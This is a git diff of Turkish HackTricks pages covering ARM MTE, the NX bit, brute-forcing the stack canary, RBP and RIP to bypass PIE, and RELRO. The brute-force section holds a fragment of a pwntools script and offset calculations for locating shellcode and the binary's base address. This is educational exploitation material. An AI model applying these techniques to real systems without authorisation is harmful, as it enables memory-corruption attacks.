<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
**Bellek Etiketleme Uzantısı (MTE)**, **önbellek taşmaları ve kullanımdan sonra serbest bırakılan güvenlik açıklarını tespit ederek ve önleyerek**, yazılım güvenilirliğini ve güvenliğini artırmak amacıyla tasarlanmıştır. MTE, **ARM** mimarisinin bir parçası olarak, her bellek tahsisine **küçük bir etiket eklemek** ve o belleği işaretleyen her işaretçiye **ilgili bir etiket eklemek** için bir mekanizma sağlar. Bu yaklaşım, çalışma zamanında yasadışı bellek erişimlerinin tespitine olanak tanır ve bu tür güvenlik açıklarının kötü amaçlı kod yürütmek için kullanılma riskini önemli ölçüde azaltır.
**Bellek Etiketleme Uzantısı (MTE)**, **bellek ile ilgili hataları tespit edip önleyerek**, örneğin tampon taşmaları ve kullanımdan sonra serbest bırakılan güvenlik açıklarını geliştirme amacıyla tasarlanmıştır. MTE, **ARM** mimarisinin bir parçası olarak, her bellek tahsisine **küçük bir etiket eklemek** ve o belleği işaretleyen **her işaretçiye karşılık gelen bir etiket** sağlayan bir mekanizma sunar. Bu yaklaşım, yasadışı bellek erişimlerinin çalışma zamanında tespit edilmesine olanak tanır ve bu tür güvenlik açıklarının keyfi kod yürütme için sömürülme riskini önemli ölçüde azaltır.
### **Bellek Etiketleme Uzantısı Nasıl Çalışır**
MTE, belleği **küçük, sabit boyutlu bloklara böler ve her bloğa bir etiket atar**, genellikle birkaç bit boyutunda.
MTE, belleği **küçük, sabit boyutlu bloklara böler ve her bloğa bir etiket atar**, genellikle birkaç bit boyutunda.&#x20;
Bir işaretçi o belleği işaretlemek üzere oluşturulduğunda, aynı etiketi alır. Bu etiket, bir bellek işaretçisinin **kullanılmayan bitlerinde** saklanır ve etiketi ilgili bellek bloğuna bağlar.
Bir işaretçi o belleği işaret etmek üzere oluşturulduğunda, aynı etiketi alır. Bu etiket, bir bellek işaretçisinin **kullanılmayan bitlerinde** saklanır ve etiketi ilgili bellek bloğuna bağlar.
<figure><img src="../../.gitbook/assets/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
@ -40,9 +41,9 @@ Bu nedenle, bu, **16 farklı etiket değerine** kadar olanak tanır.
Her **16B fiziksel belleğin** karşılık gelen bir **bellek etiketi** vardır.
Bellek etiketleri, **özel bir RAM bölgesinde** saklanır (normal kullanım için erişilemez). 16B bellek etiketleri için 4 bit etiketlere kadar RAM'ın %3'üne kadar.
Bellek etiketleri, **özel bir RAM bölgesinde** saklanır (normal kullanım için erişilemez). Her 16B bellek etiketi için 4 bit etiketlere sahip olmak, RAM'ın %3'üne kadar olanak tanır.
ARM, bu etiketleri özel RAM bellekte manipüle etmek için aşağıdaki talimatları tanıtır:
ARM, bu etiketleri özel RAM belleğinde işlemek için aşağıdaki talimatları tanıtır:
```
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
@ -58,7 +59,7 @@ Bu en yavaş ve en güvenlidir.
### Asenkron
CPU etiketleri **asenkron olarak** kontrol eder ve bir eşleşme bulunduğunda bir istisna bitini bir sistem kaydında ayarlar. Bu öncekinden **daha hızlı**dır ancak eşleşmeye neden olan tam talimatı belirleyemez ve istisnayı hemen oluşturmaz, saldırganın saldırısını tamamlaması için bir süre verir.
CPU, etiketleri **asenkron olarak** kontrol eder ve bir eşleşme bulunduğunda bir istisna bitini bir sistem kaydında ayarlar. Bu öncekinden **daha hızlı**dır ancak eşleşmeye neden olan tam talimatı belirleyemez ve istisnayı hemen oluşturmaz, saldırganın saldırısını tamamlaması için bir süre verir.
### Karışık
@ -67,40 +68,26 @@ CPU etiketleri **asenkron olarak** kontrol eder ve bir eşleşme bulunduğunda b
## Uygulama ve Tespit Örnekleri
Donanım Etiket Tabanlı KASAN olarak adlandırılan, MTE tabanlı KASAN veya çekirdek MTE.\
Çekirdek tahsis edicileri (`kmalloc` gibi) bu modülü **çağıracak** ve kullanılacak etiketi (rastgele) hazırlayacak ve ayrılan çekirdek alanına ekleyecek ve döndürülen işaretçiye ekleyecektir.
Çekirdek tahsis edicileri (`kmalloc` gibi) **bu modülü çağıracak** ve kullanılacak etiketi (rastgele) hazırlayacak ve ayrılan çekirdek alanına ekleyecek ve döndürülen işaretçiye ekleyecektir.
Talep edilen boyut için yeterli bellek granülü **yalnızca işaretleyecektir** (her biri 16B). Bu nedenle, talep edilen boyut 35 ise ve 60B'lik bir plak verildiyse, ilk 16\*3 = 48B'yi bu etiketle işaretleyecek ve **geri kalanı** sözde **geçersiz bir etiketle (0xE)** işaretleyecektir.
Talep edilen boyut için yeterli bellek granülü (her biri 16B) **yalnızca işaretleyecektir**. Bu nedenle, talep edilen boyut 35 ise ve 60B'lik bir plak verildiyse, ilk 16\*3 = 48B'yi bu etiketle işaretleyecek ve **geri kalanı** sözde **geçersiz bir etiketle (0xE)** işaretleyecektir.
Etiket **0xF**, **tüm işaretçiyi eşleştirir**. Bu işaretçiye sahip bir bellek, belleğine erişmek için **herhangi bir etiketin kullanılmasına izin verir** (eşleşmeler yok). Bu, saldırıyı algılamasını önleyebilir. Eğer bu etiket saldırılan bellekte kullanılıyorsa, MET'in saldırıyı algılamasını önleyebilir.
Etiket **0xF**, **tüm işaretçiyi eşleştirir**. Bu işaretçiye sahip bir bellek, belleğine erişmek için **herhangi bir etiketi kullanmasına izin verir** (eşleşmeler yok). Bu, saldırıyı algılamasını önleyebilir MET, bu etiketin saldırılan bellekte kullanılması durumunda.
Bu nedenle, yalnızca **0xE ve 0xF** ayrılmış olduğundan, etiket oluşturmak için kullanılabilecek **14 değer** vardır ve etiketlerin **yeniden kullanılma olasılığı** 1/17 -> yaklaşık **%7**'dir.
Bu nedenle, yalnızca **14 değer** kullanılabilir etiket oluşturmak için 0xE ve 0xF ayrılmış olduğundan, etiketleri **yeniden kullanma olasılığı** 1/17 -> yaklaşık **%7**.
Çekirdek **geçersiz etiket granülüne** erişirse, **uyumsuzluk** algılanır. Başka bir bellek konumuna erişirse, belleğin **farklı bir etikete** (veya geçersiz etikete) sahip olması durumunda uyumsuzluk algılanır. Saldırgan şanslıysa ve bellek aynı etiketi kullanıyorsa, algılanmaz. Olasılıklar yaklaşık %7'dir.
Çekirdek **geçersiz etiket granülüne** erişirse, **uyumsuzluk** algılanır. Başka bir bellek konumuna erişirse, belleğin **farklı bir etikete** (veya geçersiz etikete) sahip olması durumunda uyumsuzluk algılanır. Saldırgan şanslıysa ve bellek aynı etiketi kullanıyorsa, algılanmaz. Şanslar yaklaşık %7'dir.
Başka bir hata, ayrılan belleğin **son granülünde** meydana gelir. Uygulama 35B istediğinde, 32 ile 48 arasındaki granül verilir. Bu nedenle, 36 ile 47 arasındaki baytlar aynı etiketi kullanıyor olabilir ancak istenmemiştir. Saldırgan bu ekstra baytlara erişirse, bu algılanmaz.
Başka bir hata, ayrılan belleğin **son granülünde** meydana gelir. Uygulama 35B istediğinde, 32 ile 48 arasından granül verildi. Bu nedenle, 36 ile 47 arasındaki baytlar aynı etiketi kullanıyor olabilir ancak istenmemiştir. Saldırgan bu ekstra baytlara erişirse, bu **algılanmaz**.
**`kfree()`** çalıştırıldığında, bellek geçersiz bellek etiketiyle tekrar etiketlenir, bu nedenle bir **kullanımdan sonra tekrar kullanım** durumunda belleğe erişildiğinde, **uyumsuzluk algılanır**.
**`kfree()`** çalıştırıldığında, bellek geçersiz bellek etiketiyle tekrar etiketlenir, bu nedenle bir **kullanımdan sonra serbest bırakma** durumunda, belleğe tekrar erişildiğinde **uyumsuzluk algılanır**.
Ancak, bir kullanımdan sonra tekrar kullanım durumunda, aynı **parça ÖNCEKİSİYLE AYNI etiketle** yeniden tahsis edilirse, bir saldırgan bu erişimi kullanabilir ve bu algılanmaz (yaklaşık %7 olasılık).
Ancak, bir kullanımdan sonra serbest bırakma durumunda, aynı **parça öncekiyle AYNI etiketle** tekrar tahsis edilirse, bir saldırgan bu erişimi kullanabilir ve bu **algılanmaz** (yaklaşık %7 şans).
Ayrıca, yalnızca **`slab` ve `page_alloc`** etiketli belleği kullanır, ancak gelecekte bu, `vmalloc`, `stack` ve `globals`da da kullanılacaktır (videonun çekildiği sırada bunlar hala kötüye kullanılabilir).
Ayrıca, yalnızca **`slab` ve `page_alloc`** etiketli bellek kullanır ancak gelecekte bu, `vmalloc`, `stack` ve `globals`da da kullanılacaktır (videonun çekildiği sırada bunlar hala kötüye kullanılabilir).
Bir **uyumsuzluk algılandığında**, çekirdek **çökme yapacak** ve daha fazla kötüye kullanım ve saldırı denemesini önlemek için (MTE yanlış pozitiflere sahip değildir).
## Referanslar
* [https://www.youtube.com/watch?v=UwMt0e\_dC\_Q](https://www.youtube.com/watch?v=UwMt0e\_dC\_Q)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destekleyin.**
</details>

View file

@ -1,40 +1,42 @@
# No-exec / NX
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR gönderin.**
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
**No-Execute (NX)** biti, Intel terminolojisinde **Execute Disable (XD)** olarak da bilinen, **buffer overflow** saldırılarının etkilerini **azaltmak** amacıyla tasarlanmış donanım tabanlı bir güvenlik özelliğidir. Uygulandığında ve etkinleştirildiğinde, **yürütülebilir kod** için amaçlanan bellek bölgeleri ile **veri** için amaçlananlar arasında ayrım yapar, örneğin **stack** ve **heap** gibi. Temel fikir, saldırganın kötü niyetli kodu örneğin stack'e yerleştirerek ve yürütme akışını ona yönlendirerek buffer overflow zafiyetleri aracılığıyla kötü niyetli kodu yürütmesini engellemektir.
**No-Execute (NX)** biti, Intel terminolojisinde **Execute Disable (XD)** olarak da bilinen, **buffer overflow** saldırılarının etkilerini **azaltmak** amacıyla tasarlanmış donanım tabanlı bir güvenlik özelliğidir. Uygulandığında ve etkinleştirildiğinde, **yürütülebilir kod** için amaçlanan bellek bölgeleri ile **veri** için amaçlanan bölgeleri, örneğin **yığın** ve **heap** gibi ayırt eder. Temel fikir, saldırganın kötü amaçlı kodu yığın gibi bir alana yerleştirerek ve yürütme akışını buraya yönlendirerek buffer overflow zafiyetleri aracılığıyla kötü amaçlı kodu yürütmesini engellemektir.
## Atlatmalar
* Bu korumayı atlamak için [**ROP**](../rop-return-oriented-programing/) gibi teknikler kullanmak mümkündür, bu sayede zaten ikili dosyada bulunan yürütülebilir kod parçalarını yürüterek korumayı atlayabilirsiniz.
* Bu korumayı atlamak için [**ROP**](../rop-return-oriented-programing/) gibi teknikler kullanmak mümkündür, böylece zaten ikili dosyada bulunan yürütülebilir kod parçalarını yürütebilirsiniz.
* [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
* **Ret2...**
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR gönderin.**
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

File diff suppressed because one or more lines are too long

View file

@ -1,38 +1,39 @@
# Yığında BF Adresleri
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
**Bir canary ve PIE (Pozisyon Bağımsız Yürütülebilir) ile korunan bir ikiliyle karşı karşıyaysanız, muhtemelen bunları atlatmanın bir yolunu bulmanız gerekecektir.**
![](<../../../.gitbook/assets/image (865).png>)
{% hint style="info" %}
**`checksec`**'in, bir ikilinin bir canary tarafından korunduğunu bulamayabileceğini unutmayın, bu statik olarak derlenmişse ve işlevi tanımlayamıyorsa.\
**`checksec`**'in, bir ikilinin bir canary ile korunduğunu bulamayabileceğini unutmayın, bu durum statik olarak derlenmişse ve işlevi tanımlayamıyorsa.\
Ancak, bir değerin bir işlev çağrısının başında yığında kaydedildiğini ve bu değerin çıkış yapmadan önce kontrol edildiğini fark ederseniz, bunu manuel olarak fark edebilirsiniz.
{% endhint %}
## Adresleri Kaba Kuvvetle Bulma
## Kaba Kuvvet Adresleri
**PIE'yi atlatmak** için **bazı adresleri sızdırmanız** gerekmektedir. Ve eğer ikili herhangi bir adres sızdırmıyorsa, en iyisi **savunmasız işlevde yığındaki RBP ve RIP'yi kaba kuvvetle bulmaktır.**\
Örneğin, bir ikili hem bir **canary** hem de **PIE** kullanarak korunuyorsa, önce canary'yi kaba kuvvetle bulabilir, ardından **sonraki** 8 Bayt (x64) kaydedilmiş **RBP** ve **sonraki** 8 Bayt kaydedilmiş **RIP** olacaktır.
**PIE'yi atlatmak** için bir **adres sızdırmanız** gerekmektedir. Ve eğer ikili herhangi bir adres sızdırmıyorsa, en iyi yapılacak şey, zayıf olan işlevde yığındaki **RBP ve RIP'yi kaba kuvvet uygulamaktır.**\
Örneğin, bir ikili hem bir **canary** hem de **PIE** kullanarak korunuyorsa, canary'yi kaba kuvvet uygulamaya başlayabilir, ardından **sonraki** 8 Bayt (x64) kaydedilmiş **RBP** ve **sonraki** 8 Bayt kaydedilmiş **RIP** olacaktır.
{% hint style="success" %}
Yığın içindeki dönüş adresinin genellikle ana ikili koduna ait olduğu varsayılır, bu da zafiyetin ikili kodda bulunduğu durumda genellikle geçerli olacaktır.
Yığında bulunan dönüş adresinin genellikle ana ikili koduna ait olduğu varsayılır, bu da zayıflık ikili kodda bulunuyorsa genellikle geçerli olacaktır.
{% endhint %}
İkiliden RBP ve RIP'yi kaba kuvvetle bulmak için, bir geçerli tahmin edilen baytın doğru olduğunu programın bir çıktı verdiğini veya sadece çökmeyi önlemediğini fark edebilirsiniz. Canary'yi kaba kuvvetle bulmak için sağlanan **aynı işlev**, RBP ve RIP'yi kaba kuvvetle bulmak için de kullanılabilir:
İkiliden RBP ve RIP'yi kaba kuvvet uygulamak için, bir geçerli tahmin edilen baytın doğru olduğunu programın bir çıktı verdiğini veya çökmediğini fark edebilirsiniz. Canary'yi kaba kuvvet uygulamak için sağlanan işlevle **aynı işlev** RBP ve RIP'yi kaba kuvvet uygulamak için kullanılabilir:
```python
from pwn import *
@ -80,37 +81,38 @@ print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
Son ihtiyacınız olan şey, PIE'ı yenmek için sızdırılan adreslerden yararlı adresleri hesaplamaktır: RBP ve RIP.
Son şey, PIE'ı yenmek için gereken **sızdırılan adreslerden yararlı adresleri hesaplamaktır**: **RBP** ve **RIP**.
RBP'den, kabuğunuzu yığında nereye yazdığınızı hesaplayabilirsiniz. Bu, _"/bin/sh\x00"_ dizesini yığının içine nereye yazacağınızı bilmek için çok faydalı olabilir. Sızdırılan RBP ve kabuğunuz arasındaki mesafeyi hesaplamak için sadece RBP sızdırdıktan sonra bir kesme noktası koyabilir ve kabuğunuzun nerede bulunduğunu kontrol edebilirsiniz, ardından kabuk kodu ile RBP arasındaki mesafeyi hesaplayabilirsiniz:
**RBP** adresinden, **shell kodunuzu yığında nereye yazdığınızı hesaplayabilirsiniz**. Bu, _"/bin/sh\x00"_ dizesini yığının içine nereye yazacağınızı bilmek için çok faydalı olabilir. Sızdırılan RBP ve shell kodunuz arasındaki mesafeyi hesaplamak için sadece **RBP sızdırdıktan sonra bir kesme noktası koyabilir** ve **shell kodunuzun nerede bulunduğunu kontrol edebilirsiniz**, ardından, shell kodu ile RBP arasındaki mesafeyi hesaplayabilirsiniz:
```python
INI_SHELLCODE = RBP - 1152
```
**RIP**'ten, **PIE ikili dosyasının başlangıç adresini** hesaplayabilirsiniz, bu da **geçerli bir ROP zinciri oluşturmak için ihtiyacınız olan şeydir.**\
Baz adresini hesaplamak için sadece `objdump -d vunbinary` komutunu çalıştırın ve en son adresleri kontrol edin:
Taban adresi hesaplamak için sadece `objdump -d vunbinary` komutunu çalıştırın ve en son adresleri kontrol edin:
![](<../../../.gitbook/assets/image (479).png>)
Bu örnekte, tüm kodları bulmak için yalnızca **1 Byte ve yarım** gerektiğini görebilirsiniz, sonra, bu durumda baz adresi **sızdırılan RIP ancak "000" ile biten** olacaktır. Örneğin, `0x562002970ecf` sızdırdıysanız, baz adres `0x562002970000` olacaktır.
Bu örnekte, tüm kodları bulmak için yalnızca **1 Byte ve yarım** gerektiğini görebilirsiniz, sonra, bu durumda taban adresi **sızdırılan RIP ancak "000" ile biten** olacaktır. Örneğin, `0x562002970ecf` sızdırdıysanız, taban adres `0x562002970000` olacaktır.
```python
elf.address = RIP - (RIP & 0xfff)
```
## İyileştirmeler
[**Bu gönderiden bazı gözlemlere göre**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), RBP ve RIP değerlerini sızdırdığınızda, sunucunun bazı doğru olmayan değerlerle çökmediği ve BF betiğinin doğru değerleri aldığını düşüneceği mümkündür. Bu, **bazı adreslerin tam olarak doğru olmasa bile bunu bozmayabileceği** mümkündür.
[**Bu gönderiden bazı gözlemlere göre**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), RBP ve RIP değerlerinin sızdırıldığında, sunucunun bazı doğru olmayan değerlerle çökmediği ve BF betiğinin doğru değerleri aldığını düşüneceği mümkündür. Bu, **bazı adreslerin tam olarak doğru olanlar olmasa bile bunu bozmayabileceği mümkündür**.
Bu blog gönderisine göre sunucuya yapılan istekler arasına kısa bir gecikme eklemek önerilir.
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan başlayarak AWS hacklemeyi öğrenin ve ustalaşın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hackleme püf noktalarını paylaşın.
</details>
{% endhint %}

View file

@ -1,40 +1,41 @@
# Relro
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
